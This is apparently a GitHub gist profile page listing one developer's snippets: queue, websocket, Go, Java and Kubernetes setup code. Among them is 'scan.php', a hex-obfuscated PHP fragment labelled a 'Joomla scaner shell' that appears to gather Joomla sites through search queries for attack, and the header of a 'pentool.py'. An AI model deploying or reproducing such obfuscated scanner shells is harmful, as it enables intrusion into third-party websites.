Skip to content

Instantly share code, notes, and snippets.

View tranphuoctien's full-sized avatar
🎯
Focusing

Tien Tran tranphuoctien

🎯
Focusing
View GitHub Profile
@tranphuoctien
tranphuoctien / bull-on-nest.js
Created March 31, 2022 03:11
Bull queue on nestjs
BullModule.forRootAsync({
inject: [ConfigService],
useFactory: async (configService: ConfigService) => ({
prefix: configService.get('APP_ENV') || 'dev',
redis: {
role: 'master',
name: configService.get('REDIS_SENTINEL_NAME') || 'mymaster',
sentinels: [
{
host: configService.get('REDIS_HOST'),
@tranphuoctien
tranphuoctien / scan.php
Created March 24, 2022 02:41
Joomla scaner shell
<?php ${"\x47L\x4fB\x41L\x53"}["t\x78\x73\x67\x71v\x69\x65\x6dp"]="\x70\x6fst";${"\x47\x4cO\x42\x41\x4c\x53"}["\x65\x64\x65\x68\x67l\x72\x62\x62\x6e\x61\x79"]="so\x75\x72\x63\x65";${"\x47\x4cO\x42A\x4c\x53"}["\x77\x78\x67j\x66\x70\x68p\x75"]="i";${"\x47L\x4f\x42\x41L\x53"}["\x76\x6f\x6by\x64ligw\x63\x6d"]="\x63ur\x6c";${"G\x4c\x4fB\x41\x4cS"}["\x78v\x70\x77\x66\x74"]="\x75r\x6c";${"G\x4c\x4f\x42AL\x53"}["\x78\x69s\x79\x64\x75\x6c\x62"]="l\x69\x6e\x6b";function jos_site($site){$jweflryhxm="\x73\x69t\x65";$hrguelbpg="\x73i\x74\x65";return(eregi("op\x74\x69\x6fn",${$hrguelbpg}))?preg_replace("\x23(\x2e*?)/\x69\x6e\x64e\x78\x2ep\x68p(.*)\x23","\$\x31/",${$jweflryhxm}):false;}${"\x47\x4c\x4f\x42AL\x53"}["\x6b\x70e\x75\x6bm\x6bhc"]="a\x6clL\x69\x6ek\x73";function bing($what,$mode=false){$vocuuer="\x69";for(${${"\x47L\x4f\x42\x41\x4c\x53"}["w\x78\x67j\x66\x70h\x70u"]}=1;${$vocuuer}<=2000;${${"\x47\x4cOB\x41\x4c\x53"}["\x77\x78\x67j\x66\x70h\x70\x75"]}+=10){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x6f\x79l\x79n\x68jl\x6d"
@tranphuoctien
tranphuoctien / gmp.sh
Created March 16, 2022 02:28
Text note solution to fix limit in PHP Big Int
#WebDAV
#======
#A simple PHP WebDAV client and stream wrapper.
## Timeout Value Big Int Support
#Windows hosts PHP_INT_MAX value is 2147483647. For fix it you can use gmp extention.
#On Unix hosts big int support is better, you can use WebDAV AS IS.
@tranphuoctien
tranphuoctien / redis-ratchet.php
Last active February 15, 2022 05:24
How to scale Ratchet php using redis
<?php
/*
* Author: https://blog.madbob.org/scaling-websockets-in-php/
*/
use Ratchet\MessageComponentInterface;
use Ratchet\ConnectionInterface;
use Ratchet\Server\IoServer;
use Ratchet\Http\HttpServer;
use Ratchet\WebSocket\WsServer;
use React\Socket\Server as Reactor;
@tranphuoctien
tranphuoctien / Promise.go
Created September 10, 2021 00:52
Promise in golang
var userDetails *user.Details
var userCards []payment.Card
var userPurchases []shop.Purchase
errGroup, groupCtx := errgroup.WithContext(ctx)
errGroup.Go(func() error {
var err error
userDetails, err = user.FindDetailsByID(groupCtx, userID)
return err
{
"consumes": [
"application/json"
],
"produces": [
"application/json"
],
"schemes": [
"http",
"https"
=== Java install ===
java zookeeper-3.4.10.jar
sudo apt-add-repository ppa:webupd8team/java
sudo apt-get update
sudo apt-get install oracle-java8-installer
sudo apt install oracle-java8-set-default
export JAVA_HOME=/usr/lib/jvm/java-8-oracle
sudo update-alternatives --config java
sudo update-alternatives --config javac
apiVersion: v1
kind: Template
metadata:
name: ${APP_NAME}
objects:
- apiVersion: v1
kind: DeploymentConfig
metadata:
labels:
@tranphuoctien
tranphuoctien / kube.sh
Created March 16, 2021 03:17
Kube config data decode base64
#!/bin/sh
#set -e
# Extract the base64 encoded config data and write this to the KUBECONFIG
echo "$KUBE_CONFIG_DATA" | base64 -di > /tmp/config
export KUBECONFIG=/tmp/config
bash -c "kubectl${KUBECTL_VERSION:+.${KUBECTL_VERSION}} $*"
@tranphuoctien
tranphuoctien / pentool.py
Created December 16, 2020 02:27
Pen tool
##!/usr/bin/env python3
# -*- coding: UTF-8 -*-
# Version 1.1.0
# coded by cyberbyte
import os
import sys
import webbrowser
import socket
from time import sleep
from platform import system